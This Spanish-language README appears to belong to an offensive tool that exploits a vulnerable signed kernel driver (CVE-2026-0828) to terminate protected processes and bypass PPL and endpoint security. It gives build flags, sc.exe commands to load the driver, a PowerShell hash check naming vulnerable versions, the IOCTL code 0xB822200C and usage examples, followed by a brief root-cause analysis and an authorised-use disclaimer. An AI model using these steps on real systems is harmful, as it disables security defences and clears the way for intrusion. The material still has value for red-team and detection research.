
Eliminador de procesos en modo kernel que explota CVE-2026-0828 (BYOVD) para terminar procesos protegidos mediante un controlador firmado vulnerable, eludiendo PPL y la seguridad de endpoints.
Una herramienta de terminación de procesos en modo kernel que aprovecha un controlador vulnerable (CVE-2026-0828) para terminar procesos protegidos desde el modo usuario.
Requiere MinGW-w64 (GCC) en Windows. Compile con:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Desglose de opciones:
| Opción | Propósito |
|---|---|
--% | Token de parada de análisis de PowerShell (pasa los argumentos literalmente a g++) |
-Oz | Optimiza para minimizar el tamaño |
-ffunction-sections / -fdata-sections | Coloca cada función/dato en una sección separada |
-static / -static-libgcc / -static-libstdc++ | Enlazado estático (sin dependencias de DLL en tiempo de ejecución) |
-Wl,--gc-sections | El enlazador elimina mediante recolección de basura las secciones no utilizadas |
-W | Habilita advertencias |
Salida: terminator.exe independiente (~20-30 KB sin símbolos).
Este proyecto demuestra la explotación de un controlador de kernel vulnerable (STProcessMonitorDriver) que expone un handler IOCTL_KILL_PROCESS sin validar, permitiendo la terminación arbitraria de procesos sin importar privilegios o mecanismos de protección (PPL, flags de EPROCESS, etc.).
| Componente | Propósito |
|---|---|
terminator.cpp | Cliente en modo usuario que enumera procesos y envía IOCTLs de terminación |
terminator.hpp | Interfaz de clase para enumeración y terminación de procesos |
ProcessMonitorDriver.sys | Controlador de kernel vulnerable (externo, no incluido) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) con un búfer PID de 8 bytesCargue el controlador vulnerable (requiere Administrador):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Si una versión vulnerable de ProcessMonitorDriver.sys ya está instalada y ejecutándose como un servicio (por ejemplo, desde una aplicación legítima), Terminator puede conectarse directamente sin cargar un nuevo controlador.
Compruebe si el servicio existe y está en ejecución:
sc.exe query STProcessMonitor
Verifique si la versión del controlador es vulnerable (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Si el servicio existe y está RUNNING con una versión vulnerable, omita los pasos de carga del controlador y ejecute Terminator directamente.
| Versión | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Otras versiones pueden estar afectadas; verifique el handler IOCTL del controlador antes de usarlo.
terminator.exe -proc <process_name1> [process_name2] ...
Ejemplo:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Vulnerabilidad: El controlador STProcessMonitorDriver registra un handler IOCTL (0xB822200C) que:
PsLookupProcessByProcessId → ZwTerminateProcess directamenteSYSTEM), omitiendo todas las ACLs de modo usuarioImpacto: Cualquier usuario no administrador con acceso al controlador puede terminar:
SeDebugPrivilegeCausa Raíz: Falta de validación de ObReferenceObjectByHandle, sin SeSinglePrivilegeCheck(SeDebugPrivilege), y sin comprobaciones de acceso al objeto de proceso.
Esta herramienta es únicamente para investigación de seguridad autorizada y ejercicios de red team.
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal. El autor no asume ninguna responsabilidad por el mal uso. Asegúrese de contar con autorización por escrito antes de implementarla en cualquier entorno.
El controlador vulnerable (
ProcessMonitorDriver.sys) tiene fallos intencionados con fines de demostración y nunca debe implementarse en producción.